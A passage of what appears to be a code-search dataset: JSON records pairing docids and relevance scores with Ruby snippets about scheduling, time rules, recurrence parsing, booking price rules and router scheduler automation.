start_time\n # log \"start_time --> #{time_as_string(t)}\\n\"\n else\n t = start_time + duration*60\n # log \"stop_time --> #{time_as_string(t)}\\n\"\n end\n t.strftime(CRONTAB_STRFTIME)\n end", "title": "" }, { "docid": "07a631d35500b219ca737fa1efc451ab", "score": "0.5008413", "text": "def recurring_schedule=(new_rule)\n if RecurringSelect.is_valid_rule?(new_rule)\n write_attribute(:recurring_schedule, RecurringSelect.dirty_hash_to_rule(new_rule).to_hash)\n else\n write_attribute(:recurring_schedule, nil)\n end\n end", "title": "" }, { "docid": "61b0ddb961c167ad57ba6899056e89ff", "score": "0.5005298", "text": "def initialize(rule)\n @rule = rule\n @start_time = nil\n @end_time = nil\n @run_time = nil\n @exception = nil\n @output = nil\n @ran = false\n end", "title": "" }, { "docid": "5c7e3bb1dc622cf25d079aa2d450eae0", "score": "0.49966267", "text": "def rule_filter\n x = @game_time_ps_avail.reject{|k,v| v.empty? }\n if x.empty?\n if @cur_rule_index < @rules.size - 1\n last_rule = @cur_rule\n @cur_rule_index += 1\n @cur_rule = @rules[@cur_rule_index]\n # Go to the next date (except if the new rule is for the same weekday)\n @cur_date = next_game_date(@cur_date += 1, @cur_rule.wday) if last_rule.wday != @cur_rule.wday\n else\n @cur_rule_index = 0\n @cur_rule = @rules[@cur_rule_index]\n @cur_date = next_game_date(@cur_date += 1, @cur_rule.wday)\n end\n reset_resource_availability\n end\n end", "title": "" }, { "docid": "1b248c869281a9fac8592267642dcb4d", "score": "0.49824023", "text": "def schedule\n # implemented by subclass\n end", "title": "" }, { "docid": "653eb6f7fcb8fd785983e55ba299a1b2", "score": "0.49489963", "text": "def get_timeframe_rule(id, opts = {})\n data, _status_code, _headers = get_timeframe_rule_with_http_info(id, opts)\n data\n end", "title": "" }, { "docid": "343f127bcec7a099bb02d8848ce206db", "score": "0.49440247", "text": "def new\n @rule = Rule.new\n end", "title": "" }, { "docid": "43ce4722871d346303385fb8fd7f40eb", "score": "0.4933919", "text": "def build_job(start_time, end_time)\n Job.create(\n :start_time => start_time, \n :end_time => end_time, \n :running_time => (end_time-start_time), \n :name => action_name\n )\n end", "title": "" }, { "docid": "60cb8a31454f0057f6402efb44b266c0", "score": "0.49272004", "text": "def initialize(args)\n @name = args[\"name\"]\n @start_date = args[\"start_date\"]\n @end_date = args[\"end_date\"]\n @location = args[\"location\"]\n @description = args[\"description\"]\n\n @start_time = args[\"start_time\"] if args.include? \"start_time\"\n\n @end_time = args[\"end_time\"] if args.include? \"end_time\"\n\n @is_repeated = true if args.include? \"repetition_freq\" and args[\"repetition_freq\"] != \"\"\n @has_alarm = true if args.include? \"alarm_time_unit\" and args[\"alarm_time_unit\"] != \"\"\n\n if args.include? \"wholeday\"\n @is_all_day = true\n else\n @is_all_day = false\n end\n\n if @start_date.include? \"/\"\n @is_us_format = true\n else\n @is_us_format = false\n end\n\n # Valid values are between 1 and 2147483647, excluding 0\n # \"asdf\".to_i -> 0\n if @is_repeated\n @repetition_freq = args[\"repetition_freq\"]\n value = args[\"repetition_interval\"]\n if value == \"\" or value.to_i > 2147483647 or value.to_i < 1\n @repetition_interval = \"1\"\n else\n @repetition_interval = value\n end\n @repetition_freq = \"YEARLY\" if @repetition_freq == \"Years\" || @repetition_freq == \"Jahre\"\n @repetition_freq = \"MONTHLY\" if @repetition_freq == \"Months\" || @repetition_freq == \"Monate\"\n @repetition_freq = \"WEEKLY\" if @repetition_freq == \"Weeks\" || @repetition_freq == \"Wochen\"\n @repetition_freq = \"DAILY\" if @repetition_freq == \"Days\" || @repetition_freq == \"Tage\"\n end\n\n if @has_alarm\n @alarm_time_unit = args[\"alarm_time_unit\"]\n alarm_value = args[\"alarm_time_value\"]\n if alarm_value == \"\" or alarm_value.to_i > 2147483647 or alarm_value.to_i < 1\n @alarm_time_value = \"1\"\n else\n @alarm_time_value = alarm_value\n end\n @alarm_time_unit = \"D\" if @alarm_time_unit == \"Day(s)\" || @alarm_time_unit == \"Tag(e)\"\n @alarm_time_unit = \"H\" if @alarm_time_unit == \"Hour(s)\" || @alarm_time_unit == \"Stunde(n)\"\n @alarm_time_unit = \"M\" if @alarm_time_unit == \"Minute(s)\" || @alarm_time_unit == \"Minute(n)\"\n end\n\n end", "title": "" }, { "docid": "bf8418fc4bafce3e26e1769d63a72a2a", "score": "0.49149022", "text": "def addTeamRule(rule)\r\n @teamRules.push(rule)\r\n return self\r\n end", "title": "" }, { "docid": "90893d11cfc029a85fce11e010f9a98d", "score": "0.49103606", "text": "def add_keyframe t, time\r\n \r\n # Set the transformation per interval\r\n t = Geom::Transformation.interpolate Geom::Transformation.new, t, (@interval/time)\r\n @track << [t, time]\r\n if time > @max_period\r\n @max_period = time\r\n end\r\n end", "title": "" }, { "docid": "2f7ff3f118b246420a0d3652de18d6de", "score": "0.49043384", "text": "def initialize(with_time=true)\n @with_time\n @day = Day.new # the time schedule for the mechanic\n end", "title": "" }, { "docid": "3e61f1e8fef6905388e5c8a033387643", "score": "0.49008563", "text": "def rule_filter\n x = @game_time_ps_avail.reject { |_k, v| v.empty? }\n return unless x.empty?\n\n if @cur_rule_index < @rules.size - 1\n last_rule = @cur_rule\n @cur_rule_index += 1\n @cur_rule = @rules[@cur_rule_index]\n # Go to the next date (except if the new rule is for the same weekday)\n @cur_date = next_game_date(@cur_date += 1, @cur_rule.wday) if last_rule.wday != @cur_rule.wday\n else\n @cur_rule_index = 0\n @cur_rule = @rules[@cur_rule_index]\n @cur_date = next_game_date(@cur_date += 1, @cur_rule.wday)\n end\n reset_resource_availability\n end", "title": "" }, { "docid": "64a11dce309db03307e211e88ddbbbf9", "score": "0.48951906", "text": "def new_schedule(*args)\n if !args.all? { |e| e.is_a?(Integer) && e >= 0 && e <= 6 }\n return \"Please enter a number from 0-6 where each number represents a day of the week. 0 represents Sunday, 1 represents Monday, etc.\"\n end\n schedule1 = Schedule.new(self.first_event, duration: self.duration_mins.minutes )\n schedule1.add_recurrence_rule Rule.weekly.day(args)\n self.schedule = schedule1\n self.save!\n end", "title": "" }, { "docid": "7d80822b149df3edeece94ed44cc3528", "score": "0.48914093", "text": "def create_stat_for(start_at, end_at)\n info \"#{start_at}..#{end_at}\"\n se =StatExtractor.new\n (Date.parse(start_at)..Date.parse(end_at)).each do |basedate|\n #puts \"\\n== [create_stat_for] #{basedate.to_s} ==\"\n Rule.stat_rules('day').each{|r|se.extract_stat(basedate.to_s, \"day\", r.rtype , r )}\n Rule.stat_rules('week').each{|r|se.extract_stat(basedate.to_s, \"week\", r.rtype , r )} if basedate.wday == 1\n Rule.stat_rules('month').each{|r|se.extract_stat(basedate.to_s, \"month\", r.rtype , r )} if basedate.day == 1\n end \nend", "title": "" }, { "docid": "8be0cc763d9270e898ae5efcf8774086", "score": "0.4882596", "text": "def hash_args\n [JulianDayOfYearTransitionRule] + super\n end", "title": "" }, { "docid": "71ca23ac56a41b25e83ec0d7fbf6f34c", "score": "0.48800775", "text": "def rule_triples_creator(rule_json, time, graph)\n rule = rule_json['rule']\n key = rule_json['key']\n parameters = rule['parameters']\n\n rule_uuid = generate_uuid\n rule_uri = '<' + validation_result_collection + rule_uuid + '>'\n\n # add type, uuid and timestamp, status\n rule_triples = rule_uri + \" a mu:validationResultCollection ;\\n\"\n rule_triples += \" mu:uuid '\" + rule_uuid + \"' ;\\n\"\n rule_triples += \" mu:timestamp '\" + time + \"'^^xsd:dateTime ;\\n\"\n rule_triples += \" mu:Graph '\" + graph + \"' ;\\n\" unless graph.nil?\n\n # end withadding a ruleId\n # and returning triples, uri and parameters\n rule_triples += \" mu:ruleId '\" + key + \"' .\\n\\n\"\n {\n 'rule_triples' => rule_triples,\n 'rule_uri' => rule_uri,\n 'parameters' => parameters,\n 'ruleId' => key\n }\n end", "title": "" }, { "docid": "ed6850f7167b789563da13700648752d", "score": "0.4868595", "text": "def delete_timeframe_rule(id, opts = {})\n delete_timeframe_rule_with_http_info(id, opts)\n nil\n end", "title": "" }, { "docid": "8278bc55fa5bd7155a2f34d6ed584a6a", "score": "0.48562947", "text": "def play_rule_expressions(tick)\n #@synth.play_note(@channel_id, 0, rand(50)+20) if @generation % 8 == 0\n\n velocity = 50\n duration = 100\n #@history[tick].each { |n| @synth2.note_off(0, n, 127) } if @history[tick]\n \n @cells.each_index do |i| \n next if i < @play_range[:start] || i > @play_range[:end]\n\n note = i - @play_range[:start] \n\n if play_rule? i\n #@history[tick + duration] ||= []\n #@history[tick + duration] << note\n @synth2.note_on(0, note, velocity) \n\n #@synth.play_note(@channel_id, i - @play_range[:start], rand(30)+30)\n end\n end\n end", "title": "" }, { "docid": "aa7f6dfd19c30f941c69d61b72916d5f", "score": "0.4850974", "text": "def timeframe\n Sleek::Timeframe.to_range(@timeframe, @timezone) if @timeframe\n end", "title": "" }, { "docid": "bf790ee5d73273c7efc58bcf324657d3", "score": "0.4850906", "text": "def rule_occurring_now?(rule, options = {})\n contact = options[:contact]\n def_tz = options[:default_timezone]\n\n return true if rule.time_restrictions.nil? or rule.time_restrictions.empty?\n\n timezone = contact.timezone(:default => def_tz)\n usertime = timezone.now\n\n rule.time_restrictions.any? do |tr|\n # add contact's timezone to the time restriction schedule\n schedule = Flapjack::Data::NotificationRule.\n time_restriction_to_icecube_schedule(tr, timezone, :logger => options[:logger])\n schedule && schedule.occurring_at?(usertime)\n end\n end", "title": "" }, { "docid": "51aab3598937e2b5248a706e5164eb4b", "score": "0.48489276", "text": "def create_new_sched(dr_hrly, hrly_base, offset)\n offset_hrly = dr_hrly.map { |x| x * offset }\n sched_hrly = [hrly_base, offset_hrly].transpose.map { |x| x.reduce(:+) }\n sched_hrly = sched_hrly.map { |i| UnitConversions.convert(i, 'F', 'C') }\n return sched_hrly\n end", "title": "" }, { "docid": "fca470afc0e924af33863946f22de3e5", "score": "0.4847785", "text": "def create\n year = params[:year]\n timeframe_type = params[:type]\n\n timeframe = Timeframe.new(year: year, timeframe_type: timeframe_type)\n respond_to do |format|\n if timeframe.save\n TimeframeLog.create_timeframe_log(timeframe.year, timeframe.id, timeframe.timeframe_type)\n format.json { render json: \"Timeframe successfully created!\", status: :ok }\n else\n format.json { render json: \"Error!\", status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9e70b1fdd5aba2dfbebed850010d0cd7", "score": "0.48074266", "text": "def create_time_of_order_rule(campaign_id, opts = {})\n data, _status_code, _headers = create_time_of_order_rule_with_http_info(campaign_id, opts)\n data\n end", "title": "" }, { "docid": "4c0e60c5cd53e5e70c5cba7b28343277", "score": "0.480586", "text": "def rule; end", "title": "" }, { "docid": "4c0e60c5cd53e5e70c5cba7b28343277", "score": "0.480586", "text": "def rule; end", "title": "" }, { "docid": "4c0e60c5cd53e5e70c5cba7b28343277", "score": "0.480586", "text": "def rule; end", "title": "" }, { "docid": "b624b883e44e6929954bac32d7e7c318", "score": "0.4804545", "text": "def reduce_schedule(sch, start_hr, start_min, end_hr, end_min, setback_c)\n if sch.to_ScheduleRuleset.is_initialized\n sch = sch.to_ScheduleRuleset.get\n else\n return false\n end\n \n @infos << \"Modifying #{sch.name}\"\n \n start_time = OpenStudio::Time.new(0, start_hr, start_min, 0)\n end_time = OpenStudio::Time.new(0, end_hr, end_min, 0)\n crosses_midnight = false\n if start_time < end_time\n crosses_midnight = false\n elsif start_time > end_time\n crosses_midnight = true\n end\n \n @infos << \"crosses_midnight = #{crosses_midnight}\"\n \n day_profiles = []\n day_profiles << sch.defaultDaySchedule\n sch.scheduleRules.each do |rule|\n day_profiles << rule.daySchedule\n end\n \n day_profiles.each do |day_profile|\n\n #report out the original schedule\n @infos << \"Before setback:\"\n day_profile.times.zip(day_profile.values).each do |time,val|\n @infos << \"#{time} = #{val}\"\n end\n\n original_start_time_val = day_profile.getValue(start_time)\n original_end_time_val = day_profile.getValue(end_time)\n day_profile.addValue(start_time,original_start_time_val)\n day_profile.addValue(end_time,original_end_time_val)\n times_vals = day_profile.times.zip(day_profile.values)\n \n #report out the original schedule\n @infos << \"After adding breaks but before setback:\"\n day_profile.times.zip(day_profile.values).each do |time,val|\n @infos << \"#{time} = #{val}\"\n end\n \n #apply the setback\n times_vals.each do |time,val|\n if crosses_midnight == false\n if time > start_time and time <= end_time\n day_profile.addValue(time, val + setback_c)\n end\n elsif crosses_midnight == true\n if time <= end_time or time > start_time\n day_profile.addValue(time, val + setback_c)\n end\n end\n end #next time val pair in the schedule\n \n #report out the changed schedule\n @infos << \"After setback:\"\n day_profile.times.zip(day_profile.values).each do |time,val|\n @infos << \"#{time} = #{val}\"\n end\n \n end #next day profile\n \n return sch\n \n end", "title": "" }, { "docid": "8ac9372d005495bd9a09f7324b4cd7e1", "score": "0.48020536", "text": "def create_time_slots\n return unless params[:start_time]\n\n start_time = Time.from_picker(params.delete(:start_time))\n end_time = Time.from_picker(params.delete(:end_time))\n\n return if end_time < start_time # Prevent infinite loop\n\n shift_length = params.delete(:shift_length).to_i\n shift_overlap = params.delete(:shift_overlap).to_i\n people_per_shift = params.delete(:people_per_shift)\n\n num_shifts = ((end_time - start_time) / shift_length).ceil\n return if num_shifts > 100 # Arbitrary threshold to prevent flooding database\n\n cur_time = start_time\n TimeSlot.transaction do\n while cur_time < end_time\n end_shift_time = cur_time + shift_length + shift_overlap\n TimeSlot.create! job: @job,\n start_time: cur_time,\n end_time: [end_shift_time, end_time].min,\n slots: people_per_shift\n cur_time += shift_length\n end\n end\n end", "title": "" }, { "docid": "e2b8a04d4b6246a7fb1e7f823e1b5993", "score": "0.47970828", "text": "def price_rules \n # puts \"The start datetime: #{start_datetime}\"\n \n local_datetime = start_datetime.in_time_zone(\"Jakarta\") \n server_datetime = start_datetime\n # puts \"Jakarta_datetime: #{local_datetime} \"\n result_array = []\n current_calendar_id = self.calendar_id\n \n # how can we get the available price rules?\n # 1. get all \n \n # for each booked hour, get the associated price rule \n (1..number_of_hours).each do |x|\n datetime = local_datetime + (x-1).hours \n actual_booking_datetime = start_datetime + (x-1).hours \n server_booking_datetime = server_datetime + (x-1).hours\n \n book_hour_start = datetime.hour\n booking_creation_datetime = self.created_at \n \n \n current_calendar_id = self.calendar_id \n \n \n holiday_price_rule = PriceRule.where{\n # to ensure that we are using the old price at the time of creation\n (\n calendar_id.eq current_calendar_id\n ) & \n (\n is_holiday.eq true \n ) & \n (\n # is still active, and created before the booking creation \n (\n ( is_active.eq true) & \n (created_at.lte booking_creation_datetime)\n ) | \n # is not active, and created before the booking creation\n # and deactivated after the booking creation => \n # Hence, the rule is still in place\n (\n ( is_active.eq false) & \n ( created_at.lte booking_creation_datetime) & \n ( deactivated_at.gt booking_creation_datetime)\n )\n ) & \n\n # 0 - 23 \n (\n ( holiday_date.lte server_booking_datetime ) & \n ( finish_holiday_date.gt (server_booking_datetime + 1.hours - 1.seconds) )\n )\n }.order(\" id DESC\").first\n \n \n \n if not holiday_price_rule.nil?\n result_array << holiday_price_rule.id\n else\n \n price_rules = PriceRule.where{\n # to ensure that we are using the old price at the time of creation\n (\n calendar_id.eq current_calendar_id\n ) & \n\n\n (\n # is still active, and created before the booking creation \n (\n ( is_active.eq true) & \n (created_at.lte booking_creation_datetime)\n ) | \n # is not active, and created before the booking creation\n # and deactivated after the booking creation => \n # Hence, the rule is still in place\n (\n ( is_active.eq false) & \n ( created_at.lte booking_creation_datetime) & \n ( deactivated_at.gt booking_creation_datetime)\n )\n ) & \n\n # 0 - 23 \n (\n ( hour_start.lte datetime.hour ) & \n ( hour_end.gte datetime.hour )\n )\n }.order(\"id ASC, rule_case DESC\") # rule_case 2 == holiday, 1== specific, rule case 0= catch_all\n\n # puts \"Total price rule: #{price_rule.count}\"\n\n final_price_rule = []\n\n\n price_rules.each do |x|\n if x.is_sunday? and datetime.sunday?\n final_price_rule << x \n elsif x.is_monday? and datetime.monday?\n final_price_rule << x \n elsif x.is_tuesday? and datetime.tuesday?\n final_price_rule << x \n elsif x.is_wednesday? and datetime.wednesday?\n final_price_rule << x \n elsif x.is_thursday? and datetime.thursday?\n final_price_rule << x \n elsif x.is_friday? and datetime.friday?\n final_price_rule << x \n elsif x.is_saturday? and datetime.saturday? \n final_price_rule << x \n end\n end\n\n\n price_rule = final_price_rule.sort_by {|x| x.id }.last\n\n result_array << price_rule.id\n\n # corner case:\n # rule 1 : 1300-1300\n # rule 2 : 1300-1400 \n # booking time: 13.30 .. which rule will be selected? \n # we have the ordering by id, ASC\n # in this case: rule2 is created later.. rule2 will be selected. \n\n # corner case\n # rule1 : 2300-2300 \n # it means it will only affect the time from 2300-2400 \n\n\n \n end\n \n\n end\n \n return result_array\n end", "title": "" }, { "docid": "acb4c98686fdf03616db9b24b6ee9769", "score": "0.47941828", "text": "def start_datetime(timeframe = nil)\n case timeframe\n when \"1month\" then 1.month.ago.to_datetime\n when \"3months\" then 3.months.ago.to_datetime\n when \"2years\" then 2.years.ago.to_datetime\n else 5.years.ago.to_datetime\n end\n end", "title": "" }, { "docid": "1a92c6e25217f29f7a0a3af06756731d", "score": "0.47703603", "text": "def create\n @appointment = Appointment.new(appointment_params)\n if @appointment.starts_at != nil\n @appointment.ends_at = @appointment.starts_at + 30.minutes\n end\n respond_to do |format|\n if @appointment.save\n format.html { redirect_to new_appointment_path, notice: 'Agendamento realizado.' }\n format.json { render :show, status: :created, location: @appointment }\n else\n format.html { render :schedule }\n format.json { render json: @appointment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "57ea30a58c9cc1c51c450dd66962bbed", "score": "0.47611448", "text": "def scheduler_rules(rule_name, info)\n\n # Get to the advanced page.\n self.goto_advanced(rule_name, info)\n \n # Get to the \"Scheduler Rules\" page.\n begin\n @ff.link(:text, 'Scheduler Rules').click\n self.msg(rule_name, :info, 'Scheduler Rules', 'Reached page \\'Scheduler Rules\\'.')\n rescue\n self.msg(rule_name, :error, 'Scheduler Rules', 'Did not reach \\'Scheduler Rules\\' page')\n return\n end\n \n # Check the key.\n if ( info.has_key?('section') ) then\n # Right,go on.\n else\n self.msg(rule_name,:error,'scheduler_rules','Some key NOT found.')\n return\n end \n \n # Parse the json file\n \n # Add a scheduler rule here.\n \n # Click the \"Add\" button under scheduler rule main page.\n @ff.link(:text,'Add').click\n self.msg(rule_name,:info,'Add a scheduler rule','Begin')\n \n # Confirm it\n if not @ff.text.include? 'Set Rule Schedule'\n self.msg(rule_name,:error,'scheduler_rules','Did not reach the \\'Set Rule Schedule\\' page')\n return\n end\n \n # Set the rule name\n @ff.text_field(:name,'schdlr_rule_name').set(info['Rule Name'])\n self.msg(rule_name,:info,'Rule Name',info['Rule Name'])\n \n # Active?\n case info['Rule will be Active at the Scheduled Time']\n \n when \"on\"\n # Active\n @ff.radio(:id,'is_enabling_0').set\n when \"off\"\n # Inactive\n @ff.radio(:id,'is_enabling_0').clear\n else\n # Wong here\n self.msg(rule_name,:error,'scheduler_rules','Ambigurous on active or inactive.')\n return\n end # end of case\n self.msg(rule_name,:info,'Rule will be Active at the Scheduled Time',info['Rule will be Active at the Scheduled Time'])\n \n # Active?\n case info['Rule will be inactive at the Scheduled Time']\n \n when \"on\"\n # Active\n @ff.radio(:id,'is_enabling_1').set\n when \"off\"\n # Inactive\n @ff.radio(:id,'is_enabling_1').clear\n else\n # Wong here\n self.msg(rule_name,:error,'scheduler_rules','Ambigurous on active or inactive.')\n return\n end # end of case\n self.msg(rule_name,:info,'Rule will be inactive at the Scheduled Time',info['Rule will be inactive at the Scheduled Time'])\n \n # Click the \"Add Rule Schedule\" button.\n @ff.link(:text,'Add Rule Schedule').click\n \n # Setup the days.\n \n self.msg(rule_name, :debug, 'scheduler_rules', 'doing rule days begin')\n \n if info.has_key?('Monday')\n if info['Monday'] == 'on'\n @ff.label(:for,'day_mon_').click\n end\n end\n \n if info.has_key?('Tuesday')\n if info['Tuesday'] == 'on'\n @ff.label(:for,'day_tue_').click\n end\n end \n \n if info.has_key?('Wednesday')\n if info['Wednesday'] == 'on'\n @ff.label(:for,'day_wed_').click\n end\n end \n\n if info.has_key?('Thursday')\n if info['Thursday'] == 'on'\n @ff.label(:for,'day_thu_').click\n end\n end \n \n if info.has_key?('Friday')\n if info['Friday'] == 'on'\n @ff.label(:for,'day_fri_').click\n end\n end \n \n if info.has_key?('Saturday')\n if info['Saturday'] == 'on'\n @ff.label(:for,'day_sat_').click\n end\n end \n \n if info.has_key?('Sunday')\n if info['Sunday'] == 'on'\n @ff.label(:for,'day_sun_').click\n end\n end \n \n self.msg(rule_name, :debug, 'scheduler_rules', 'doing rule days end')\n self.msg(rule_name,:info,'Add days','OK')\n \n # Setup the hours\n if info.has_key?('Start Time') and info.has_key?('End Time')\n \n self.msg(rule_name, :debug, 'scheduler_rules', 'doing rule hours: begin' ) \n \n # Click \"New Hours Range Entry\".\n @ff.link(:text, 'New Hours Range Entry').click\n \n start_time = info['Start Time'].split(':')\n end_time = info['End Time'].split(':')\n \n @ff.text_field(:name, 'start_hour').set(start_time[0].strip)\n @ff.text_field(:name, 'start_min').set(start_time[1].strip)\n @ff.text_field(:name, 'end_hour').set(end_time[0].strip)\n @ff.text_field(:name, 'end_min').set(end_time[1].strip)\n \n # Apply for the \"hours\"\n @ff.link(:text, 'Apply').click\n \n \n self.msg(rule_name, :debug, 'scheduler_rules', 'doing rule hours: end' )\n self.msg(rule_name,:info,'Add hours','OK')\n \n end #end if hours\n \n # Apply for the days and hours\n @ff.link(:text, 'Apply').click\n \n # Apply for the rules\n @ff.link(:text,'Apply').click\n \n # Close the \"Scheduler Rules\" page\n @ff.link(:text,'Close').click\n \n self.msg(rule_name,:info,'Add a scheduler rule','End')\n self.msg(rule_name,:info,'Scheduler Rules','SUCCESS')\n \n end", "title": "" }, { "docid": "8d19519f7634873ef1ac32a2a555b3a1", "score": "0.4758471", "text": "def set_timeframe\n @timeframe = Timeframe.find(params[:id])\n end", "title": "" }, { "docid": "5421ce6052aac31af5c9d216bea2dd5f", "score": "0.47583336", "text": "def k_times!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 37 )\n\n\n\n type = K_TIMES\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 401:4: 'times'\n match( \"times\" )\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 37 )\n\n\n end", "title": "" }, { "docid": "d6ae9555d65c2ee681ad6987f858a511", "score": "0.475356", "text": "def date_calc(start,day_start,day_duration,round)\n time=start;schedule=[]\n round.size.times do |r|\n#print day_start+day_duration;print \"\\n\"\n if time >= day_start + day_duration\n#print time;print \"\\n\"\n time=day_start+1.day\n day_start = time\n end\n schedule[r] = time\n time+=HEAT_INTERVAL\n end\n\n return schedule\n end", "title": "" }, { "docid": "958429a951fe02d59a8ad866a95496f7", "score": "0.47493893", "text": "def parse_rrule recurrence\n rule = recurrence.find do |rec|\n /\\ARRULE/.match(rec)\n end\n\n return nil unless rule\n rule = rule.split(':')[1]\n params = {\n validations: {}\n }\n\n rule.split(';').each do |rule|\n (name, value) = rule.split('=')\n value.strip!\n case name\n when 'FREQ'\n params[:freq] = value.downcase\n when 'INTERVAL'\n params[:interval] = value.to_i\n when 'COUNT'\n params[:count] = value.to_i\n when 'UNTIL'\n params[:until] = Time.parse(value).utc\n when 'WKST'\n params[:wkst] = day_to_symbol(value)\n when 'BYSECOND'\n params[:validations][:second_of_minute] = value.split(',').collect(&:to_i)\n when 'BYMINUTE'\n params[:validations][:minute_of_hour] = value.split(',').collect(&:to_i)\n when 'BYHOUR'\n params[:validations][:hour_of_day] = value.split(',').collect(&:to_i)\n when 'BYDAY'\n dows = {}\n days = []\n value.split(',').each do |expr|\n day = day_to_symbol(expr.strip[-2..-1])\n # day with occurence\n if expr.strip.length > 2\n occ = expr[0..-3].to_i\n dows[day].nil? ? dows[day] = [occ] : dows[day].push(occ)\n days.delete(to_wday(day))\n else\n days.push to_wday(day) if dows[day].nil?\n end\n end\n params[:validations][:day_of_week] = dows unless dows.empty?\n unless days.empty?\n # days = days.sort_by do |day|\n # day\n # end\n params[:validations][:day] = days\n end\n when 'BYMONTHDAY'\n params[:validations][:day_of_month] = value.split(',').collect(&:to_i)\n when 'BYMONTH'\n params[:validations][:month_of_year] = value.split(',').collect(&:to_i)\n when 'BYYEARDAY'\n params[:validations][:day_of_year] = value.split(',').collect(&:to_i)\n when 'BYSETPOS'\n else\n raise \"Invalid or unsupported rrule command: #{name}\"\n end\n end\n\n params[:interval] ||= 1\n params.delete(:wkst) unless params[:freq] == 'weekly'\n params\n end", "title": "" }, { "docid": "4846ec9ccfc09339e987acaa339de37c", "score": "0.4745826", "text": "def validate_timeframe_params!(args)\n return unless %i[start_date end_date timeframe].any? { |k| args[k].present? }\n return if args[:timeframe] && %i[start_date end_date].all? { |k| args[k].nil? }\n\n error_message =\n if args[:timeframe].present?\n \"startDate and endDate are deprecated in favor of timeframe. Please use only timeframe.\"\n elsif args[:start_date].nil? || args[:end_date].nil?\n \"Both startDate and endDate must be present.\"\n elsif args[:start_date] > args[:end_date]\n \"startDate is after endDate\"\n end\n\n if error_message\n raise Gitlab::Graphql::Errors::ArgumentError, error_message\n end\n end", "title": "" }, { "docid": "b33d2b705fb5cc29651a54b378d64e79", "score": "0.47408837", "text": "def create\n @day = params[:day]\n @month = params[:month]\n @year = params[:year]\n @date = @day + \" \" + Date::MONTHNAMES[@month.to_i] + \" \" + @year\n lessons = Array.new\n dayandtime = Array.new\n lesson_objects = Array.new\n t = Array.new\n for i in 0..9\n unless params[(\"hour\"+i.to_s).to_sym] == \"hrs\"\n if params[(\"min\"+i.to_s).to_sym] == \"mins\"\n params[(\"min\"+i.to_s).to_sym] = \"00\"\n end\n lessons[i] = {:hour => params[(\"hour\"+i.to_s).to_sym], :min => params[(\"min\"+i.to_s).to_sym]}\n #dayandtime[i] = Time.local_time(@year.to_i, @month.to_i, @day.to_i, (lessons[i][:hour]).to_i, (lessons[i][:min]).to_i)\n t[i] = DateTime.civil(@year.to_i, @month.to_i, @day.to_i, (lessons[i][:hour]).to_i, (lessons[i][:min]).to_i)\n if Time.utc(t[i].year, t[i].month, t[i].day, t[i].hour, t[i].min).in_time_zone(\"Europe/Berlin\").dst?\n t[i] = Time.utc(t[i].year, t[i].month, t[i].day, t[i].hour-2, t[i].min)\n else\n t[i] =Time.utc(t[i].year, t[i].month, t[i].day, t[i].hour-1, t[i].min)\n end\n lesson_objects.push({:name => t[i].in_time_zone(\"Europe/Berlin\").to_s(:time),\n :start_at => t[i].to_formatted_s(:db),\n :end_at => (t[i] + (60*60)).to_formatted_s(:db),\n :color => \"#2E8B57\"})\n #lesson_objects.push({:name => dayandtime[i].to_s(:time),\n # :start_at => dayandtime[i].utc.to_formatted_s(:db),\n # :end_at => (dayandtime[i] + (60*60)).utc.to_formatted_s(:db),\n # :color => \"#2E8B57\"})\n end\n end\n lessons_object = Lesson.create(lesson_objects)\n recently_created_lessons = Lesson.find(:all).find_all{|l| l.created_at.to_datetime >= Time.now-7200}\n recently_created_after_school_lessons = recently_created_lessons.find_all{|t| t.start_at.to_datetime.hour > 14 || (t.start_at.to_datetime.hour > 13 && t.start_at.to_datetime.min > 29)}\n new_lessons_after_1530 = lesson_objects.find_all{|t| t[:start_at].to_datetime.hour > 14 || (t[:start_at].to_datetime.hour > 13 && t[:start_at].to_datetime.min > 29)}\n if new_lessons_after_1530.length > 0 && recently_created_after_school_lessons.length <= new_lessons_after_1530.length\n students = Student.find(:all).find_all{|s| s.after_school==true}\n students.each do |student|\n email_school_children(student)\n end\n end\n \n redirect_to(:controller => \"teaching\", :action => \"studentzone\", :year => @year, :month => @month)\n\n end", "title": "" }, { "docid": "a871c0c423bce1e7e9f1c5132c1fd418", "score": "0.4737772", "text": "def add_recurrence_from_params\n on = recurrence_on.map(&:to_sym)\n at = transform_string_to_times(recurrence_at)\n clear_schedule\n add_recurrence(type: :week, on: on, at: at)\n end", "title": "" }, { "docid": "b2a2289f6ca9a59fd21ff98558b45db7", "score": "0.47333005", "text": "def schedule(opts)\n opts = check_params(opts,[:schedule])\n super(opts)\n end", "title": "" }, { "docid": "71b9c521fb761e55c03c15e7e10bfb76", "score": "0.4732397", "text": "def addSubsetRule(rule)\r\n @teamRules.push(rule)\r\n return self\r\n end", "title": "" }, { "docid": "590ab8f94773746be23e57f3795abf5c", "score": "0.47307208", "text": "def add_recurrence(type: :week, on: on = nil, at: at = nil)\n type = type.to_sym\n unless [:week, :day].include? type\n raise \"Type must be either :week or :day\"\n end\n if type == :week and (on.nil? or (on.is_a?(Array) and on.empty?))\n raise \"Weekdays must be specified when selecting the :week type\"\n end\n schedule = self.read_attribute(self.class.schedulable_attribute)\n if self.schedule.nil?\n schedule = Montrose::Schedule.new\n end\n if at.nil?\n raise \"Time must be specified in parameter 'at'\"\n else\n schedule.add Montrose.every(type, on: on, at: at).starts(created_at)\n self.write_attribute(self.class.schedulable_attribute, schedule)\n end\n end", "title": "" }, { "docid": "d72f4fa06e40fb9ef877c03e75fe90b6", "score": "0.47267413", "text": "def create\n @machine_time_rule = MachineTimeRule.new(machine_time_rule_params)\n # authorize(@machine_time_rule)\n respond_to do |format|\n if @machine_time_rule.save\n format.html { redirect_to @machine_time_rule, notice: 'Machine time rule was successfully created.' }\n format.json { render :show, status: :created, location: @machine_time_rule }\n else\n format.html { render :new }\n format.json { render json: @machine_time_rule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "649d0dc39337e289725a6fb92456982e", "score": "0.47144774", "text": "def rule_params\n params.require(:rule).permit(:description, :name, :start, :stop, :role)\n end", "title": "" }, { "docid": "0ab20c498cf178ae45aed35e82005c5b", "score": "0.4708145", "text": "def schedule(uri); end", 